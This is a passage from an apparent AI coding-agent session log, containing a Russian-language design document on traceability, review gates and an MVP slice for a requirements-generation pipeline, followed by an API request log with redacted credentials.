\u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438\\\"]\\n\\n    OUT --> V1[\\\"V-BIZ\\\"]\\n    OUT --> V2[\\\"V-APPROVE\\\"]\\n    OUT --> V3[\\\"V-DEV\\\"]\\n    OUT --> V4[\\\"V-CONTRACT\\\"]\\n\\n    TR -.->|\\\"source_ref (\u0446\u0438\u0442\u0430\u0442\u0430)\\\"| AIN\\n    TR -.->|\\\"step_actor, gate_result\\\"| GATE\\n    TR -.->|\\\"output_ref\\\"| OUT\\n```\\n\\n**\u041a\u0430\u043a \u0447\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444.**\\n\\n1. **\u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u2014 \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433, \u0430 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432\u0445\u043e\u0434\u0430.** `C-IN` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0434\u043e\\n   \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0438\u043b\u0438 \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0421\u0438\u0441\u0442\u0435\u043c\u0430\\n   \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u0433\u0430\u0434\u043a\u043e\u0439.\\n2. **\u0420\u043e\u043c\u0431 `G3` \u2014 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u0441\u043c\u0435\u043d\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430.** \u0423\u0445\u043e\u0434 \u0432 `P-02` \u043f\u0440\u0438\\n   \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044f\u0445 \u2014 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0431\u0440\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 (`EP-R3`);\\n   \u0432 \u043b\u0438\u0441\u0442\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043e\u043d \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0441 \u043d\u0430\u0431\u043b\u044e\u0434\u0451\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c\\n   \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430 (`EP-R6`).\\n3. **\u041d\u0430\u0432\u044b\u043a\u0438 \u0440\u0430\u0437\u043d\u044b\u0435, \u0433\u0435\u0439\u0442 \u043e\u0434\u0438\u043d.** `G-self`, `G-mach`, `G-human` \u2014 \u0442\u0440\u0438\\n   \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u0430 \u043d\u0435 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u0430 (`10-theory.md`, \u00a72). \u0413\u0435\u0439\u0442\\n   \u0441\u0442\u043e\u0438\u0442 \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u043f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 (`OA-2`). \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0435\\n   \u0432\u0441\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438, \u0438 \u044d\u0442\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u044f\u0432\u043d\u043e.\\n4. **\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0433\u0435\u0439\u0442 \u2014 \u043c\u043e\u043c\u0435\u043d\u0442.** `C-OUT` \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442, \u0447\u0435\u043c\u0443\\n   \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434; `G4` \u2014 \u0442\u043e\u0447\u043a\u0430, \u0433\u0434\u0435 \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438.** `V-BIZ`, `V-APPROVE`,\\n   `V-DEV` \u2014 \u0442\u0440\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e `A-BCREQ`. \u0412\u0435\u0440\u0441\u0438\u044f 0.4 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u043d\u0438\u043c \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\\n   `V-CONTRACT` \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430, \u0433\u0434\u0435 `S-FR` \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c **\u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c**\u00bb \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u043f\u043e\\n   \u0447\u0435\u0442\u044b\u0440\u0451\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c (\u0447\u0442\u043e, \u043a\u0442\u043e, \u0433\u0434\u0435, \u043a\u043e\u0433\u0434\u0430), \u0430 `S-OPEN` \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u0443\u0441\u0442.\\n   \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0442\u0440\u0438 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u044b \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u044b: \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0430\u044f\\n   \u0432\u0435\u0442\u043a\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0438 \u0434\u043e \u043c\u043e\u0434\u0435\u043b\u0438, \u043d\u043e\\n   \u043d\u0435 \u0438\u043c\u0435\u043b\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c `projection`\\n   \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u0430; \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.4 \u043f\u043e\u043b\u0435 \u0431\u044b\u043b\u043e \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c,\\n   \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u0435\u0442\u043a\u0430 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n6. **\u0421\u043b\u0435\u0434 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430.** `A-TRACE` \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u0435\u043c \u0436\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c \u0438\\n   \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434, \u0433\u0435\u0439\u0442\u044b \u0438 \u0432\u044b\u0445\u043e\u0434; \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c\\n   (`EP-R4`).\\n\\n## 2. \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c\\n\\n| \u0417\u0432\u0435\u043d\u043e | \u0427\u0435\u043c \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u043e | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f |\\n| --- | --- | --- |\\n| \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u2192 \u043f\u0440\u043e\u0433\u043e\u043d | `trace.input_ref` | `G-mach`, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u044f |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 | `process` \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f `L2` | `G-mach`, `EP-R1` |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f | `path` \u0438 `decisions` \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | `G-mach`, `EP-R6` |\\n| \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u2192 \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 | `source_ref`: \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u0440\u0430\u0437\u0434\u0435\u043b, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 | `G-mach` (`check-source-evidence`), \u0437\u0430\u0442\u0435\u043c `G-human` (`GT-5`) |\\n| \u0448\u0430\u0433 \u2192 \u0430\u043a\u0442\u043e\u0440 | `step_actor` | `G-mach`, `EP-R2` |\\n| \u0448\u0430\u0433 \u2192 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0433\u0435\u0439\u0442\u0430 | `gate_result` \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c | `G-mach` |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | `trace.output_ref` | `G-human` |\\n| \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2192 \u0441\u043b\u043e\u0442\u044b | \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0441\u043b\u043e\u0442\u043e\u0432 \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0435 | `G-mach`, \u0441\u0445\u0435\u043c\u0430 `C-OUT` |\\n\\n\u0417\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0440\u0430\u0437\u043e\u0440\u0432\u0430\u043d\u0430 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u0437\u0432\u0435\u043d\u0435: **50 \u0438\u0437 67\\n\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432** \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442, \u0430 66 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 `process` \u0438\u0437 67 \u043b\u0435\u0436\u0430\u0442\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f (`D7`). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 MVP \u043a\u0430\u043a **\u0438\u0437\u043c\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u0430**, \u0430\\n\u043d\u0435 \u043a\u0430\u043a \u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u044f.\\n\\n## 3. \u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 MVP-\u0441\u0440\u0435\u0437\\n\\n\u0421\u0440\u0435\u0437 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0443\u0437\u043a\u0438\u0439: \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441, \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043e\u0434\u0438\u043d \u0446\u0435\u043b\u0435\u0432\u043e\u0439\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442. \u0426\u0435\u043b\u044c \u2014 \u043d\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435, \u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u044b\u0445 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\\n\\n| \u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0441\u0440\u0435\u0437\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | `contact-center` | \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 |\\n| \u0421\u0438\u0441\u0442\u0435\u043c\u0430 | \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 | `SY-3`: \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0421\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f |\\n| \u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b | `P-01` `elicitation-processing` \u0438 `P-03` `bcreq-formation`, \u0432\u0435\u0442\u0432\u044c `P-02` `clarification-management` | \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043e\u0442 \u0441\u044b\u0440\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0434\u043e \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430; \u0432\u0435\u0442\u0432\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430, \u0438\u043d\u0430\u0447\u0435 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0447\u0435\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c |\\n| \u0426\u0435\u043b\u0435\u0432\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | `A-BCREQ` | \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437 issue #563 |\\n| \u041d\u0430\u0432\u044b\u043a\u0438 | 7 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 `SKILL.md` (3 \u0432 `P-01`, 4 \u0432 `P-03`) \u043f\u043b\u044e\u0441 3 \u043d\u0430\u0432\u044b\u043a\u0430 \u0432\u0435\u0442\u0432\u0438 `P-02` | \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u2014 \u043d\u0430\u0432\u044b\u043a-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f (`SK-1`) |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u0441\u043b\u043e\u0432\u0430\u0440\u044c `ba-operation-taxonomy`, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 | \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e: \u043e\u043d\u0430 \u0448\u0430\u0433 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430 |\\n| \u0413\u0435\u0439\u0442\u044b | `G-self` \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430, `G-mach` \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430, `G-human` \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0438 \u0432 `P-02` | \u043c\u0438\u043d\u0438\u043c\u0443\u043c, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0442\u043a\u0430\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d; \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (`GT-5`) |\\n| \u042d\u0442\u0430\u043b\u043e\u043d\u044b | 2 (`contact-center`, \u043f\u0440\u043e\u0444\u0438\u043b\u044c `P-SETTINGS` \u0438 `P-NO-SETTINGS`) | \u0443\u0436\u0435 \u0441\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 `exp/ba-micro-structure-561/` |\\n| \u041e\u0431\u044a\u0451\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 10 \u0437\u0430\u0434\u0430\u0447 | \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u0430 |\\n\\n## 4. \u041f\u043b\u0430\u043d \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\",\n[2026-09-29T07:44:57.751Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:44:57.751Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:44:57.751Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:44:57.751Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:44:57.751Z] [INFO]   }\n[2026-09-29T07:44:57.751Z] [INFO] }\n[2026-09-29T07:44:57.804Z] [STDOUT] [log_aa2aad] sending request {\n[2026-09-29T07:44:57.810Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:57.814Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:57.817Z] [STDOUT]   options: {\n[2026-09-29T07:44:57.822Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:57.829Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:57.836Z] [STDOUT]     body: {\n[2026-09-29T07:44:57.843Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:57.849Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:57.858Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:57.861Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:57.872Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:57.876Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:57.880Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:57.883Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:57.891Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:57.894Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:57.898Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:57.900Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:57.902Z] [STDOUT]     },\n[2026-09-29T07:44:57.906Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:57.908Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:57.911Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:57.914Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:57.924Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:57.933Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:57.939Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:57.947Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:57.951Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:57.963Z] [STDOUT]     },\n[2026-09-29T07:44:57.974Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:57.979Z] [STDOUT]   },\n[2026-09-29T07:44:57.985Z] [STDOUT]   headers: {\n[2026-09-29T07:44:57.990Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:57.994Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:58.011Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:58.021Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:58.029Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:58.033Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:58.048Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:58.053Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:58.059Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:58.065Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1265\",\n[2026-09-29T07:44:58.070Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:58.073Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:44:58.079Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:58.083Z] [STDOUT]     \"x-client-request-id\": \"639289c3-7729-47a8-90ac-373be98d2eb4\",\n[2026-09-29T07:44:58.087Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:58.093Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:58.099Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:58.104Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:58.119Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:58.127Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:58.135Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:58.147Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:58.151Z] [STDOUT]   },\n[2026-09-29T07:44:58.155Z] [STDOUT] }\n[2026-09-29T07:44:58.159Z] [INFO] {\n[2026-09-29T07:44:58.159Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"subtype\": 